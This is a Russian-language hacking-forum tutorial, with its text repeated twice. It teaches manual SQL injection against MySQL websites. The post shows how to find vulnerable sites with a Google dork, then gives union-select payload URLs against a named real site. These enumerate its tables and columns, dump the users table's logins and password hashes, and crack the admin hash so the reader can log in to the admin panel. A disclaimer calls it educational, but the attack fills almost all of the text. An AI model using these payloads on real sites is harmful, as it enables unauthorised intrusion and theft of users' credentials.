СУБД (система управления базами данных) MySQL отличается от остальных своей доступностью и простотой в использовании. По этому она стоит на большинстве сайтов.
В этой СУБД имеется уязвимость, благодаря которой через адресную строку (а иногда и не только) можно получить доступ к базе данных сайта, в которой находятся логины и пароли а так же другие данные пользователей и администраторов сайта. А называется эта уязвимость SQL-injection.
В этой статье я расскажу о:
- способах нахождения уязвимых сайтов на СУБД MySQL,
- проникновения в базу данных сайта (ручной способ)
- где хранятся логин и пароль администратора
- расшифровка пароля
1. Набрав в гугле запрос inurl: "php?id=" высвечивается множество сайтов с этим значением в адресной строке. Чтобы понять какой из всех сайтов "дырявый" нужно в конце адресной стоки подставить знак апострофа "`" и обновить страницу.
[HIDE=""]calidus.ro/en/news.php?id=2`[/HIDE]
Если в сайте имеется уязвимость, он отобразится некорректно:
2. Далее проводим инъекцию следующим запросом:
[HIDE=""]calidus.ro/en/news.php?id=2+union+select+1+limit+1,1--[/HIDE]
union - позволяет объединять результаты нескольких запросов в одну таблицу
select – позволяет выбрать какие именно колонки нам вывести
1 - колонка
limit – позволяет получать информацию порциями
Далее нам нужно найти уязвимое поле в базе данных через которое мы будем вытаскивать данные из таблицы. Для этого нам нужно перебирать колонки (после каждой цифры обнавляя сраницу).
[HIDE=""]calidus.ro/en/news.php?id=2+union+select+1,2,3,4+limit+1,1--[/HIDE]
Вот мы увидели цифры на странице:
Под этими цифрами у нас и имеется уязвимость. Выбираем цифру, я выбрала 2, и подставляем table_name (имя таблицы) вместо этой цифры в запросе. После колонок дописываем from information_schema.tables
получили вот такой запрос:
[HIDE=""]calidus.ro/en/news.php?id=2+union+select+1,table_name,3,4+from+information_schema.tables[/HIDE]
from – говорит откуда брать данные
table_name – выведет имя таблицы вместо замененной цифры
information_schema – хранит метаданные базы данных
таким образом мы увидели названия всех таблиц в базе данных:
(На скринах база не вся, просто для примера)
Если база данных очень велика, и целиком она нам не нужна, в конце мы можем добавить ключ +limit+1,1--
limit - позволяет вывести указанное число строк из таблицы. выводит то количество записей, которое указано в первом параметре. Если, через запятую указано значение второго параметра, то будут выведены строки в диапазоне первый параметр — второй параметр включительно.
3. Теперь нам нужно найти логин и пароль администратора. Посмотрев на всю БД, исключив стандартные таблицы (те что на капслоке) я вижу таблицу users. Пробуем ее открыть. Для этого нам нужно перевести слово users в hex (шестнадцатиричную систему). В гугле куча онлайн сервисов для этого. Открываем любой, вставляем нашу таблицу, нажимаем кодировать. Получилось 7573657273.
Дальше меняем в нашем запросе table_name на column_name, так как теперь мы уже будем работать с колонками. Но предварительно упростим себе задачу, поставив перед колумн слово concat и возьмем column_name в скобочки. Concat служит для объединения нескольких значений. Чуть позже поймете...
В information_schema меняем .tables на .columns и добавляем where table_name=0x7573657273
where – определяет условия поиска
Так мы обозначили, что открыться должа определенная таблица.
Получился запрос:
[HIDE=""]calidus.ro/en/news.php?id=2+union+select+1,concat(column_name),3,4+from+information_schema.columns+where+table_name=0x7573657273[/HIDE]
И вот мы видим все колонки.
Нам тут интересны колонки username и user_password. Будем их открывать. Пишем concat(username,0x3a,user_password)
0x3a - разделитель ( : )
Добавляем from и имя таблицы в ее обычном виде. Получаем:
[HIDE=""]calidus.ro/en/news.php?id=2+union+select+1,concat(username,0x3a,user_password),3,4+from+users[/HIDE]
И видим:
4. Пароль мы видим в кодировке md5-hesh. В гугле так же много сервисов по расшифровке. Первый попавшийся сайт смог найти соответсвие хеша 63a9f0ea7bb98050796b649e85481845 со значением root.
Вот мы и получили логин с паролем. Остаётся только найти админку и войти.
Так же можно было бы получить доступ ко всем пользователям и их эмеил адресам, но здесь их всего лишь 3.
Как обезопасить свой сайт от подобного взлома написано в википедии)
Материал написан исключительно в ознакомительных целях, ответственность за использование этого материала автор не несёт .
В этой СУБД имеется уязвимость, благодаря которой через адресную строку (а иногда и не только) можно получить доступ к базе данных сайта, в которой находятся логины и пароли а так же другие данные пользователей и администраторов сайта. А называется эта уязвимость SQL-injection.
В этой статье я расскажу о:
- способах нахождения уязвимых сайтов на СУБД MySQL,
- проникновения в базу данных сайта (ручной способ)
- где хранятся логин и пароль администратора
- расшифровка пароля
1. Набрав в гугле запрос inurl: "php?id=" высвечивается множество сайтов с этим значением в адресной строке. Чтобы понять какой из всех сайтов "дырявый" нужно в конце адресной стоки подставить знак апострофа "`" и обновить страницу.
[HIDE=""]calidus.ro/en/news.php?id=2`[/HIDE]
Если в сайте имеется уязвимость, он отобразится некорректно:
Для просмотра ссылки необходимо нажать
Вход или Регистрация
2. Далее проводим инъекцию следующим запросом:
[HIDE=""]calidus.ro/en/news.php?id=2+union+select+1+limit+1,1--[/HIDE]
union - позволяет объединять результаты нескольких запросов в одну таблицу
select – позволяет выбрать какие именно колонки нам вывести
1 - колонка
limit – позволяет получать информацию порциями
Далее нам нужно найти уязвимое поле в базе данных через которое мы будем вытаскивать данные из таблицы. Для этого нам нужно перебирать колонки (после каждой цифры обнавляя сраницу).
[HIDE=""]calidus.ro/en/news.php?id=2+union+select+1,2,3,4+limit+1,1--[/HIDE]
Вот мы увидели цифры на странице:
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Под этими цифрами у нас и имеется уязвимость. Выбираем цифру, я выбрала 2, и подставляем table_name (имя таблицы) вместо этой цифры в запросе. После колонок дописываем from information_schema.tables
получили вот такой запрос:
[HIDE=""]calidus.ro/en/news.php?id=2+union+select+1,table_name,3,4+from+information_schema.tables[/HIDE]
from – говорит откуда брать данные
table_name – выведет имя таблицы вместо замененной цифры
information_schema – хранит метаданные базы данных
таким образом мы увидели названия всех таблиц в базе данных:
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Для просмотра ссылки необходимо нажать
Вход или Регистрация
(На скринах база не вся, просто для примера)
Если база данных очень велика, и целиком она нам не нужна, в конце мы можем добавить ключ +limit+1,1--
limit - позволяет вывести указанное число строк из таблицы. выводит то количество записей, которое указано в первом параметре. Если, через запятую указано значение второго параметра, то будут выведены строки в диапазоне первый параметр — второй параметр включительно.
3. Теперь нам нужно найти логин и пароль администратора. Посмотрев на всю БД, исключив стандартные таблицы (те что на капслоке) я вижу таблицу users. Пробуем ее открыть. Для этого нам нужно перевести слово users в hex (шестнадцатиричную систему). В гугле куча онлайн сервисов для этого. Открываем любой, вставляем нашу таблицу, нажимаем кодировать. Получилось 7573657273.
Дальше меняем в нашем запросе table_name на column_name, так как теперь мы уже будем работать с колонками. Но предварительно упростим себе задачу, поставив перед колумн слово concat и возьмем column_name в скобочки. Concat служит для объединения нескольких значений. Чуть позже поймете...
В information_schema меняем .tables на .columns и добавляем where table_name=0x7573657273
where – определяет условия поиска
Так мы обозначили, что открыться должа определенная таблица.
Получился запрос:
[HIDE=""]calidus.ro/en/news.php?id=2+union+select+1,concat(column_name),3,4+from+information_schema.columns+where+table_name=0x7573657273[/HIDE]
И вот мы видим все колонки.
Для просмотра ссылки необходимо нажать
Вход или Регистрация
Нам тут интересны колонки username и user_password. Будем их открывать. Пишем concat(username,0x3a,user_password)
0x3a - разделитель ( : )
Добавляем from и имя таблицы в ее обычном виде. Получаем:
[HIDE=""]calidus.ro/en/news.php?id=2+union+select+1,concat(username,0x3a,user_password),3,4+from+users[/HIDE]
И видим:
Для просмотра ссылки необходимо нажать
Вход или Регистрация
4. Пароль мы видим в кодировке md5-hesh. В гугле так же много сервисов по расшифровке. Первый попавшийся сайт смог найти соответсвие хеша 63a9f0ea7bb98050796b649e85481845 со значением root.
Вот мы и получили логин с паролем. Остаётся только найти админку и войти.
Так же можно было бы получить доступ ко всем пользователям и их эмеил адресам, но здесь их всего лишь 3.
Как обезопасить свой сайт от подобного взлома написано в википедии)
Материал написан исключительно в ознакомительных целях, ответственность за использование этого материала автор не несёт .
Последнее редактирование: